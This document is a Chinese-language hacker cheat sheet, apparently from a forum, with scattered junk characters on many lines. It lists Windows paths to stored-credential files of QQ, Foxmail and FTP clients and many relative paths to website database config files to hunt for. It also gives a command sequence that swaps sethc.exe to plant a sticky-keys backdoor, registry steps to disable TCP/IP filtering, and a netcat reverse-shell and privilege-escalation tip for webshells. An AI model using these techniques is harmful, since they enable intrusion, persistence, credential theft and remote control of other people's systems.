4 \- |# G2 B& M5 o+ L6 HC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
( D  I& d  R7 L; W- [c:\Program Files\Tencent\qq2008\qq.exe
$ A% K1 I6 ?' K( I2 k! X0 oc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
1 V; h3 d' C7 |# c# CC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
& B/ \2 \/ Y2 X% }# M# p( ic:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
- p# O- T3 Q" Y! b' p) V0 Q" T$ _C:\Program Files\tencent\Foxmal\accounts.cfg
& C$ f3 E( M  g6 X- |% MC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
, x+ g+ q/ D  \. X' Q7 @c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
% A# w; J( i$ H" t& W9 sC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
! ?4 G/ [& E- W4 H% qc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
0 _( r6 U# I3 j4 y: b1 R! Q1 VC:\Program Files\StormII\Storm.exe

& E/ ?; H, }1 a8 W; ^3.网站相对路径:
5 k6 M9 S2 [! V2 Q5 g+ \
/config.php
../../config.php
( }' F5 V' G0 r4 d../config.php
../../../config.php
/config.inc.php
./config.inc.php
+ W/ r, {: e# W- ]7 O- U../../config.inc.php
../config.inc.php
6 }1 l0 ~& ?7 r% m+ E8 n7 f../../../config.inc.php
4 y3 l. B8 J1 h  S/conn.php
, K: U. \; p9 M./conn.php
! t% y& k- ?8 a: P- _0 c, B../../conn.php
../conn.php
../../../conn.php
/conn.asp
( Q+ c' A2 ~: S2 Q./conn.asp
, O( I; J+ K2 r/ a../../conn.asp
/ k! Q9 W# Q1 ?( ?0 J! p; W! ]5 |../conn.asp
../../../conn.asp
$ [1 p! z+ B, p$ O/config.inc.php
./config.inc.php
../../config.inc.php
1 M. y1 x4 Y* r../config.inc.php
../../../config.inc.php
) d2 [. F( R1 K4 Q. }. D5 W! Z- D/config/config.php
( K. p* f  V& Z% G../../config/config.php
/ p$ Q" j3 n5 P../config/config.php
../../../config/config.php
- D' s; a7 V% J: x) N/config/config.inc.php
0 Z* }9 `7 @$ [7 L' v: o./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
7 k( f9 L5 M' F) r% B  L# M../config/conn.php
( f! J( x7 F$ q: ]( K7 `../../../config/conn.php
' x# a3 Q' |* x6 g+ ?/config/conn.asp
% j  L+ L, L' k; z8 V./config/conn.asp
& f! M9 j2 o4 X7 ^../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
: b3 p7 h: l6 U: z6 q/config/config.inc.php
0 v1 ^3 r/ e* R2 w% b0 N./config/config.inc.php
& ]! M4 t. ~( ?# B% T* `' e/ @7 n../../config/config.inc.php
$ @0 }0 X2 e) L8 J6 V. ?- }" O../config/config.inc.php
../../../config/config.inc.php
/data/config.php
6 q/ H: r8 Z6 h! i8 d- |' G../../data/config.php
$ h1 g' B7 j$ @( p- c- W/ S../data/config.php
../../../data/config.php
. l$ `/ R& a7 `7 I% T/data/config.inc.php
" T" I. s: L' I: `4 u/ E./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
, P" b4 y3 L% H# D* l/data/conn.php
./data/conn.php
$ B3 H1 G7 V+ Y- r4 l* w../../data/conn.php
1 [* y5 `; ?9 O6 c( P../data/conn.php
../../../data/conn.php
3 U5 r& y, m8 ?5 W; i  b- e: J/data/conn.asp
./data/conn.asp
../../data/conn.asp
1 C( D2 n  k& g# w+ [# S7 ~../data/conn.asp
: O& u" L' t5 k# v  Q( c../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
+ U1 g: }' o4 M0 z: {% H../data/config.inc.php
../../../data/config.inc.php
/include/config.php
( @) y/ P- k$ S) v% p../../include/config.php
../include/config.php
../../../include/config.php
% R( C/ P) ?" F! ^$ B; y" V. c' n/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
8 e5 K$ ]1 O/ p4 _! B../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
# t( |2 L$ M" l; o$ v$ ?5 n9 ~0 T../include/conn.php
9 c% c* x0 C. K" M0 B1 F../../../include/conn.php
. T* K! i) C5 g+ `$ |1 I9 n) X- j/include/conn.asp
) W: r2 O' J7 o6 Z" }' R./include/conn.asp
) D5 ?  w6 h9 r  s8 s../../include/conn.asp
: X$ [7 w7 S0 Y../include/conn.asp
# p  z! _9 _. ^4 _" W3 P../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
0 ]+ ^2 l. y& n2 T8 D: b../../../include/config.inc.php
1 m( V! D0 u- v' U  o4 q! u4 {/inc/config.php
../../inc/config.php
  J0 L+ e6 F" r2 O../inc/config.php
" _" g) S5 O  x8 N../../../inc/config.php
/inc/config.inc.php
( `, n5 R! g; ]1 G* x4 a+ f$ p./inc/config.inc.php
8 o: w( ^" A6 M2 [../../inc/config.inc.php
9 {* n6 Q& L/ d/ q$ E* c5 e../inc/config.inc.php
6 @0 }+ g8 K- q# ~../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
" d: ~4 S" Y" {  a0 Z../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
- \% H# X# K9 s) f./inc/conn.asp
- W6 [6 u: v& K- z# G! D../../inc/conn.asp
4 ^5 Z% l) J% C$ ?5 k6 Q0 T../inc/conn.asp
../../../inc/conn.asp
3 f2 D% q' i1 X: A2 {/inc/config.inc.php
) D+ w, x9 W! a/ f$ q4 f$ @./inc/config.inc.php
* }. R8 `4 Q3 O0 G& r; Z2 O7 }../../inc/config.inc.php
../inc/config.inc.php
5 w1 A& y. u9 H4 u. X2 Z../../../inc/config.inc.php
/index.php
$ n: Y9 ~6 w$ J3 e5 S; V* B./index.php
../../index.php
/ g% B5 S0 T* {2 O: }, O../index.php
. E( _* H) c9 f; [../../../index.php
( @3 j" ]1 b( A! x/index.asp
./index.asp
9 ^! B3 y; C5 F, f1 @  S5 w../../index.asp
# K7 W+ C; B  F) H  ?! w! Q( w  k../index.asp
/ @7 E8 d0 U* v: X7 r) P  a; N/ d../../../index.asp
3 i/ u* J( k% W4 v替换SHIFT后门
) E( \$ o% u/ [' t, \# l　attrib c:\windows\system32\sethc.exe -h -r -s

2 x1 R! Z: w0 p* J( t, y) K5 f　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
! e! ^. h9 S: R8 X# H
3 k, I3 q* s' O. K　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

% k' h6 g# V& z! v% W8 q　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

0 g2 r+ c  V2 A$ T　　attrib c:\windows\system32\sethc.exe +h +r +s

$ t7 I+ ~8 x% N% d( n3 u  E8 B　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
- ^7 i9 D) R) CTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
) R; l1 q/ I% EHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 H9 f* W4 E& m( f
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 m1 F9 V% L+ t$ cregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
, r4 ?/ C% ?' |/ Nregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

5 c: [5 h" ]9 f+ c# {4 Z% r4 }再将以上三个文件分别用
* I: C/ g1 J) iregedit -s D:\a.reg
% G. F& E5 s( y* _* e& M1 kregedit -s D:\b.reg
9 W# e# E& s8 Q2 ~$ u- _; jregedit -s D:\c.reg
, G+ V% R, O# d) d( @导入注册表即可
) K+ q- l7 D5 M1 t- b0 O9 W
webshell提权小技巧
4 M4 U- h: k2 r4 t) ycmd路径:
c:\windows\temp\cmd.exe
  Y6 A" n1 ^. Inc也在同目录下
; x- y0 _$ N" X5 h' y/ y例如反弹cmdshell：
( F* z7 y$ z# r( @4 ?$ V"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

1 z# t0 {5 W4 g4 Y* C而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
: T. K. z' r. H, W8 l; C却能成功。。
这个不是重点
2 Z! a! ~6 j- @( j我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功